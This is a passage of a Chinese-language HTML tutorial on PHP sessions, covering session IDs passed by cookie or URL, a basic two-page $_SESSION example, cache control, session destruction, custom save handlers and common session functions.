rgb(0,1,2)"></span></span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">session_name()</span><span lang=EN-US style=" FONT-FAMILY: Verdana"><span style="COLOR: rgb(0,1,2)">,</span></span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">session_id())</span><span lang=EN-US style=" FONT-FAMILY: Verdana"><span style="COLOR: rgb(0,1,2)"></span>;<br>&nbsp;&nbsp;&nbsp; </span><span style=" FONT-FAMILY: 宋体">当从该页跳转到的新页面并调用</span><span lang=EN-US style=" FONT-FAMILY: Verdana">session_start()</span><span style=" FONT-FAMILY: 宋体">后</span><span lang=EN-US style=" FONT-FAMILY: Verdana">,PHP</span><span style=" FONT-FAMILY: 宋体">将检查与给定</span><span lang=EN-US style=" FONT-FAMILY: Verdana">ID</span><span style=" FONT-FAMILY: 宋体">相关联的服务器端存贮的</span><span lang=EN-US style=" FONT-FAMILY: Verdana">session</span><span style=" FONT-FAMILY: 宋体">数据</span><span lang=EN-US style=" FONT-FAMILY: Verdana">,</span><span style=" FONT-FAMILY: 宋体">如果没找到</span><span lang=EN-US style=" FONT-FAMILY: Verdana">,</span><span style=" FONT-FAMILY: 宋体">则新建一个数据集</span><span lang=EN-US style=" FONT-FAMILY: Verdana">.<br><br style="COLOR: rgb(0,128,255)"><strong style="COLOR: rgb(0,128,255)">2.1.2 </strong></span><strong style="COLOR: rgb(0,128,255)"><span style=" FONT-FAMILY: 宋体">通过</span></strong><strong style="COLOR: rgb(0,128,255)"><span lang=EN-US style=" FONT-FAMILY: Verdana">URL</span></strong><strong style="COLOR: rgb(0,128,255)"><span style=" FONT-FAMILY: 宋体">传送</span></strong><strong><span lang=EN-US style=" FONT-FAMILY: Verdana"><span style="COLOR: rgb(0,128,255)">session ID</span><br></span></strong><span style=" FONT-FAMILY: 宋体">只有在用户禁止使用</span><span lang=EN-US style=" FONT-FAMILY: Verdana">cookie</span><span style=" FONT-FAMILY: 宋体">的时候才用这种方法</span><span lang=EN-US style=" FONT-FAMILY: Verdana">,</span><span style=" FONT-FAMILY: 宋体">因为浏览器</span><span lang=EN-US style=" FONT-FAMILY: Verdana">cookie</span><span style=" FONT-FAMILY: 宋体">已经通用</span><span lang=EN-US style=" FONT-FAMILY: Verdana">,</span><span style=" FONT-FAMILY: 宋体">为安全起见</span><span lang=EN-US style=" FONT-FAMILY: Verdana">,</span><span style=" FONT-FAMILY: 宋体">可不用该方法</span><span lang=EN-US style=" FONT-FAMILY: Verdana">.<strong><br></strong>&lt;a href="p.php?<span style="COLOR: rgb(0,1,2)">&lt;?php print </span></span><span lang=EN-US style=" FONT-FAMILY: Verdana"><span style="COLOR: rgb(0,1,2)"></span></span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">session_name()</span><span lang=EN-US style=" FONT-FAMILY: Verdana"><span style="COLOR: rgb(0,1,2)"> ?&gt;</span></span><span lang=EN-US style=" FONT-FAMILY: Verdana"><span style="COLOR: rgb(0,1,2)">=&lt;?php print session_id() ?&gt;</span>"&gt;xxx&lt;/a&gt;,也可以通过POST来传递session值.</span></p>
<p class=MsoNormal style="FONT-WEIGHT: bold; COLOR: rgb(0,128,255); TEXT-ALIGN: left" align=left><span lang=EN-US style=" FONT-FAMILY: Verdana">2.2 session基本用法实例</span></p>
<p style="MARGIN: 5px; LINE-HEIGHT: 150%"><code><span style="COLOR: rgb(0,0,0)"><span style="COLOR: rgb(0,0,204)">&lt;</span><span style="COLOR: rgb(0,0,204)">?</span><span style="COLOR: rgb(0,0,255)">php</span><br><span style="COLOR: rgb(255,153,0)">// page1.php</span><br><span style="COLOR: rgb(255,0,0)">session_start</span><span style="COLOR: rgb(0,0,204)">(</span><span style="COLOR: rgb(0,0,204)">)</span><span style="COLOR: rgb(0,0,204)">;</span><br><span style="COLOR: rgb(255,0,0)">echo</span> <span style="COLOR: rgb(255,0,255)">'Welcome to page #1'</span><span style="COLOR: rgb(0,0,204)">;</span><br><span style="COLOR: rgb(255,153,0)">/* 创建session变量并给session变量赋值 */</span><br><span style="COLOR: rgb(0,0,255)">$</span><span style="COLOR: rgb(0,128,128)">_SESSION</span><span style="COLOR: rgb(0,0,204)">[</span><span style="COLOR: rgb(255,0,255)">'favcolor'</span><span style="COLOR: rgb(0,0,204)">]</span> <span style="COLOR: rgb(0,0,204)">=</span> <span style="COLOR: rgb(255,0,255)">'green'</span><span style="COLOR: rgb(0,0,204)">;</span> <br><span style="COLOR: rgb(0,0,255)">$</span><span style="COLOR: rgb(0,128,128)">_SESSION</span><span style="COLOR: rgb(0,0,204)">[</span><span style="COLOR: rgb(255,0,255)">'animal'</span><span style="COLOR: rgb(0,0,204)">]</span> <span style="COLOR: rgb(0,0,204)">=</span> <span style="COLOR: rgb(255,0,255)">'cat'</span><span style="COLOR: rgb(0,0,204)">;</span><br><span style="COLOR: rgb(0,0,255)">$</span><span style="COLOR: rgb(0,128,128)">_SESSION</span><span style="COLOR: rgb(0,0,204)">[</span><span style="COLOR: rgb(255,0,255)">'time'</span><span style="COLOR: rgb(0,0,204)">]</span> <span style="COLOR: rgb(0,0,204)">=</span> <span style="COLOR: rgb(255,0,0)">time</span><span style="COLOR: rgb(0,0,204)">(</span><span style="COLOR: rgb(0,0,204)">)</span><span style="COLOR: rgb(0,0,204)">;</span><br><br><span style="COLOR: rgb(255,153,0)">// 如果客户端使用cookie,可直接传递session到page2.php</span><br><span style="COLOR: rgb(255,0,0)">echo</span> <span style="COLOR: rgb(255,0,255)">'&lt;br /&gt;&lt;a href="page2.php"&gt;page 2&lt;/a&gt;'</span><span style="COLOR: rgb(0,0,204)">;</span><br><br><span style="COLOR: rgb(255,153,0)">// 如果客户端禁用cookie</span><br><span style="COLOR: rgb(255,0,0)">echo</span> <span style="COLOR: rgb(255,0,255)">'&lt;br /&gt;&lt;a href="page2.php?'</span> <span style="COLOR: rgb(0,0,204)">.</span> SID <span style="COLOR: rgb(0,0,204)">.</span> <span style="COLOR: rgb(255,0,255)">'"&gt;page 2&lt;/a&gt;'</span><span style="COLOR: rgb(0,0,204)">;</span> <br><span style="COLOR: rgb(255,153,0)">/* <br>&nbsp;默认php5.2.1下,SID只有在cookie被写入的同时才会有值,如果该session<br>&nbsp;对应的cookie已经存在,那么SID将为(未定义)空<br>&nbsp;*/</span><br><span style="COLOR: rgb(0,0,204)">?</span><span style="COLOR: rgb(0,0,204)">&gt;</span><br><br><span style="COLOR: rgb(0,0,204)">&lt;</span><span style="COLOR: rgb(0,0,204)">?</span><span style="COLOR: rgb(0,0,255)">php</span><br><span style="COLOR: rgb(255,153,0)">// page2.php</span><br><span style="COLOR: rgb(255,0,0)">session_start</span><span style="COLOR: rgb(0,0,204)">(</span><span style="COLOR: rgb(0,0,204)">)</span><span style="COLOR: rgb(0,0,204)">;</span><br><span style="COLOR: rgb(255,0,0)">print</span> <span style="COLOR: rgb(0,0,255)">$</span><span style="COLOR: rgb(0,128,128)">_SESSION</span><span style="COLOR: rgb(0,0,204)">[</span><span style="COLOR: rgb(255,0,255)">'animal'</span><span style="COLOR: rgb(0,0,204)">]</span><span style="COLOR: rgb(0,0,204)">;</span> <span style="COLOR: rgb(255,153,0)">// 打印出单个session</span><br><span style="COLOR: rgb(255,0,0)">var_dump</span><span style="COLOR: rgb(0,0,204)">(</span><span style="COLOR: rgb(0,0,255)">$</span><span style="COLOR: rgb(0,128,128)">_SESSION</span><span style="COLOR: rgb(0,0,204)">)</span><span style="COLOR: rgb(0,0,204)">;</span> <span style="COLOR: rgb(255,153,0)">// 打印出page1.php传过来的session值</span><br><span style="COLOR: rgb(0,0,204)">?</span><span style="COLOR: rgb(0,0,204)">&gt;</span></span></code></p>
<p class=MsoNormal style="TEXT-ALIGN: left" align=left><span lang=EN-US style=" FONT-FAMILY: Verdana"><br></span></p>
<p class=MsoNormal style="TEXT-ALIGN: left" align=left><span lang=EN-US style=" FONT-FAMILY: Verdana"></span><strong><span style=" COLOR: rgb(0,128,255); FONT-FAMILY: 宋体">2.3 使用</span></strong><strong><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana">session</span></strong><strong><span style=" COLOR: rgb(0,128,255); FONT-FAMILY: 宋体">函数控制页面缓存</span></strong><strong><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana">.</span><u><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana"><br></span></u></strong><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">&nbsp;&nbsp;&nbsp; 很多情况下,我们要确定我们的网页是否在客户端缓存,或要设置缓存的有效时间,比如我们的网页上有些敏感内容并且要登录才能查看,如果缓存到本地了,可以直接打开本地的缓存就可以不登录而浏览到网页了.</span><strong><u><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana"><br></span></u></strong><span style=" COLOR: rgb(0,128,255); FONT-FAMILY: 宋体"></span><strong><u><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana"><br></span></u></strong><span style=" FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; 使用</span><span lang=EN-US style=" COLOR: rgb(255,1,2); FONT-FAMILY: Verdana">session_cache_limiter('private');</span><span style=" FONT-FAMILY: 宋体">可以控制页面客户端缓存</span><span lang=EN-US style=" FONT-FAMILY: Verdana">,</span><span style=" FONT-FAMILY: 宋体">必须在</span><span lang=EN-US style=" FONT-FAMILY: Verdana">session_start()</span><span style=" FONT-FAMILY: 宋体">之前调用</span><span lang=EN-US style=" FONT-FAMILY: Verdana">.<br></span><span style=" FONT-FAMILY: 宋体">更多参数见</span><span lang=EN-US style=" FONT-FAMILY: Verdana">http://blog.chinaunix.net/u/27731/showart.php?id=258087</span><span style=" FONT-FAMILY: 宋体">的客户端缓存控制</span><span lang=EN-US style=" FONT-FAMILY: Verdana">.<br><br>&nbsp;&nbsp;&nbsp;&nbsp; </span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">控制客户端缓存时间</span><span style=" FONT-FAMILY: 宋体">用</span><span style=" FONT-FAMILY: Verdana"> <span lang=EN-US style="COLOR: rgb(255,1,2)">session_cache_expire(int);</span></span><span style=" COLOR: rgb(255,1,2); FONT-FAMILY: 宋体">单位</span><span lang=EN-US style=" COLOR: rgb(255,1,2); FONT-FAMILY: Verdana">(s).</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">也要在</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">session_start()</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">前调用</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">.</span><span lang=EN-US style=" COLOR: rgb(255,1,2); FONT-FAMILY: Verdana"><br><br><span style="COLOR: rgb(0,1,2)">&nbsp;&nbsp;&nbsp; 这只是使用session的情况下控制缓存的方法,我们还可以在header()中控制控制页面的缓存.</span><br><br></span><strong><span style=" COLOR: rgb(0,128,255); FONT-FAMILY: 宋体">2.4 删除</span></strong><strong><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana">session<br></span><u><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana"><br></span></u></strong><span style=" COLOR: rgb(0,128,255); FONT-FAMILY: 宋体">要三步实现</span><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana">.<br>&lt;?php<br></span><span style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana"></span><span lang=EN-US style=" COLOR: rgb(255,1,2); FONT-FAMILY: Verdana">session_destroy();&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //</span><span style=" COLOR: rgb(0,128,255); FONT-FAMILY: 宋体"> 第一步</span><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana">: </span><span style=" COLOR: rgb(0,128,255); FONT-FAMILY: 宋体">删除服务器端</span><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana">session</span><span style=" COLOR: rgb(0,128,255); FONT-FAMILY: 宋体">文件</span><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana">,</span><span style=" COLOR: rgb(0,128,255); FONT-FAMILY: 宋体">这使用</span><span style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana"> </span><span lang=EN-US style=" COLOR: rgb(255,1,2); FONT-FAMILY: Verdana"></span><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana"><br></span><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana"></span><span lang=EN-US style=" COLOR: rgb(255,1,2); FONT-FAMILY: Verdana">setcookie(session_name(),'',time()-3600);&nbsp; // </span><span style=" COLOR: rgb(0,128,255); FONT-FAMILY: 宋体">第二步</span><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana">: </span><span style=" COLOR: rgb(0,128,255); FONT-FAMILY: 宋体">删除实际的</span><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana">session: </span><span lang=EN-US style=" COLOR: rgb(255,1,2); FONT-FAMILY: Verdana"></span><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana"><br></span><span lang=EN-US style=" COLOR: rgb(255,1,2); FONT-FAMILY: Verdana">$_SESSION = array();&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // </span><span style=" COLOR: rgb(0,128,255); FONT-FAMILY: 宋体">第三步</span><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana">: </span><span style=" COLOR: rgb(0,128,255); FONT-FAMILY: 宋体">删除</span><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana">$_SESSION</span><span style=" COLOR: rgb(0,128,255); FONT-FAMILY: 宋体">全局变量数组</span><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana"></span><br><span lang=EN-US style=" COLOR: rgb(255,1,2); FONT-FAMILY: Verdana">?&gt;<br><br></span><strong><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana">2.5 session</span></strong><strong><span style=" COLOR: rgb(0,128,255); FONT-FAMILY: 宋体">在</span></strong><strong><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana">PHP</span></strong><strong><span style=" COLOR: rgb(0,128,255); FONT-FAMILY: 宋体">大型</span></strong><strong><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana">web</span></strong><strong><span style=" COLOR: rgb(0,128,255); FONT-FAMILY: 宋体">应用中的使用</span></strong><strong><u><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana"><br><br></span></u></strong><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">对于访问量大的站点</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">,</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">用默认的</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">session</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">存贮方式并不适合</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">,</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">目前最优的方法是用数据库存取</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">session.</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">这时</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">,</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">函数</span><span lang=EN-US style=" COLOR: rgb(255,1,2); FONT-FAMILY: Verdana">bool session_set_save_handler ( callback open, callback close, callback read, callback write, callback destroy, callback gc )</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">就是提供给我们解决这个问题的方案</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">.</span><strong><u><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana"><br></span></u></strong><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">该函数使用的</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">6</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">个函数如下</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">:</span><span lang=EN-US style=" FONT-FAMILY: Verdana"><o:p></o:p></span></p>
<p class=MsoNormal style="MARGIN-LEFT: 47.25pt; TEXT-INDENT: -18pt; TEXT-ALIGN: left" align=left><span lang=EN-US style=" FONT-FAMILY: Verdana"><span>1.<span style="FONT: 7pt 'Times New Roman'; font-size-adjust: none; font-stretch: normal">&nbsp;&nbsp; </span></span></span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">bool open() </span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">用来打开会话存储机制</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">,</span><span lang=EN-US style=" FONT-FAMILY: Verdana"> </span></p>
<p class=MsoNormal style="MARGIN-LEFT: 47.25pt; TEXT-INDENT: -18pt; TEXT-ALIGN: left" align=left><span lang=EN-US style=" FONT-FAMILY: Verdana"></span><span lang=EN-US style=" FONT-FAMILY: Verdana"><span>2.<span style="FONT: 7pt 'Times New Roman'; font-size-adjust: none; font-stretch: normal">&nbsp;&nbsp; </span></span></span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">bool close() </span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">关闭会话存储操作</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">.</span><span lang=EN-US style=" FONT-FAMILY: Verdana"> <o:p></o:p></span></p>
<p class=MsoNormal style="MARGIN-LEFT: 47.25pt; TEXT-INDENT: -18pt; TEXT-ALIGN: left" align=left><span lang=EN-US style=" FONT-FAMILY: Verdana"><span>3.<span style="FONT: 7pt 'Times New Roman'; font-size-adjust: none; font-stretch: normal">&nbsp;&nbsp;</span></span></span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">mixde read() </span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">从存储中装在</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">session</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">数据时使用这个函数</span><span lang=EN-US style=" FONT-FAMILY: Verdana"> <o:p></o:p></span></p>
<p class=MsoNormal style="MARGIN-LEFT: 47.25pt; TEXT-INDENT: -18pt; TEXT-ALIGN: left" align=left><span lang=EN-US style=" FONT-FAMILY: Verdana"><span>4.<span style="FONT: 7pt 'Times New Roman'; font-size-adjust: none; font-stretch: normal">&nbsp;&nbsp; </span></span></span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">bool write() </span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">将给定</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">session ID</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">的所有数据写到存储中</span><span lang=EN-US style=" FONT-FAMILY: Verdana"> <o:p></o:p></span></p>
<p class=MsoNormal style="MARGIN-LEFT: 47.25pt; TEXT-INDENT: -18pt; TEXT-ALIGN: left" align=left><span lang=EN-US style=" FONT-FAMILY: Verdana"><span>5.<span style="FONT: 7pt 'Times New Roman'; font-size-adjust: none; font-stretch: normal">&nbsp;&nbsp; </span></span></span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">bool </span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">destroy() </span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">破坏与指定的会话</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">ID</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">相关联的数据</span><span lang=EN-US style=" FONT-FAMILY: Verdana"> <o:p></o:p></span></p>
<p class=MsoNormal style="MARGIN-LEFT: 47.25pt; TEXT-INDENT: -18pt; TEXT-ALIGN: left" align=left><span lang=EN-US style=" FONT-FAMILY: Verdana"><span>6.<span style="FONT: 7pt 'Times New Roman'; font-size-adjust: none; font-stretch: normal">&nbsp;&nbsp; </span></span></span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">bool gc()&nbsp; </span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">对存储系统中的数据进行垃圾收集</span><span lang=EN-US style=" FONT-FAMILY: Verdana"><o:p></o:p></span></p>
<p class=MsoNormal style="TEXT-ALIGN: left" align=left><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">例子见php手册</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">session_set_save_handler()</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"> </span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">函数</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">.<br></span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">如果用类来处理</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">,</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">用</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"><br></span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">session_set_save_handler(</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"><br></span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">&nbsp;&nbsp;&nbsp; array('className','</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">open</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">'),</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"><br></span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">&nbsp;&nbsp;&nbsp; array('className','</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">close</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">'),</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"><br></span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">&nbsp;&nbsp;&nbsp; array('className','</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">read</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">'),</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"><br></span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">&nbsp;&nbsp;&nbsp; array('className','</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">write</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">'),</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"><br></span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">&nbsp;&nbsp;&nbsp; array('className','destroy'),</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"><br></span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">&nbsp;&nbsp;&nbsp; array('className','gc'),</span><span lang=EN-US style=" FONT-FAMILY: Verdana"><br></span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">)</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"> <br></span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">调用</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">className</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">类中的</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">6</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">个静态方法</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">.className</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">可以换对象就不用调用静态方法</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">,</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">但是用静态成员不用生成对象</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">,</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">性能更好</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">.</span><span lang=EN-US style=" FONT-FAMILY: Verdana"><br><strong><u><span style="COLOR: rgb(0,128,255)"><br></span></u></strong></span><strong><span style=" COLOR: rgb(0,128,255); FONT-FAMILY: 宋体">2.6 常用</span></strong><strong><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana">session</span></strong><strong><span style=" COLOR: rgb(0,128,255); FONT-FAMILY: 宋体">函数</span></strong><strong><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana">:</span><u><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana"><br><br></span></u></strong><span lang=EN-US style=" COLOR: rgb(255,1,2); FONT-FAMILY: Verdana">bool &nbsp; session_start(void); </span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">初始化</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">session</span><span lang=EN-US style=" COLOR: rgb(255,1,2); FONT-FAMILY: Verdana"><br>bool&nbsp;&nbsp; session_destroy(void)</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">: </span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">删除服务器端</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">session</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">关联文件</span><span style=" COLOR: rgb(255,1,2); FONT-FAMILY: 宋体">。</span><span lang=EN-US style=" COLOR: rgb(255,1,2); FONT-FAMILY: Verdana"><br>string session_id() </span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">当前</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">session</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">的</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">id</span><span lang=EN-US style=" COLOR: rgb(255,1,2); FONT-FAMILY: Verdana"><br>string session_name() </span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">当前存取的</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">session</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">名称</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">,</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">也就是客户端保存</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">session ID</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">的</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">cookie</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">名称</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">.</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">默认</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">PHPSESSID</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">。</span><span lang=EN-US style=" COLOR: rgb(255,1,2); FONT-FAMILY: Verdana"><br>array&nbsp; session_get_cookie_params() </span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">与这个</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">session</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">相关联的</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">session</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">的细节</span><span lang=EN-US style=" COLOR: 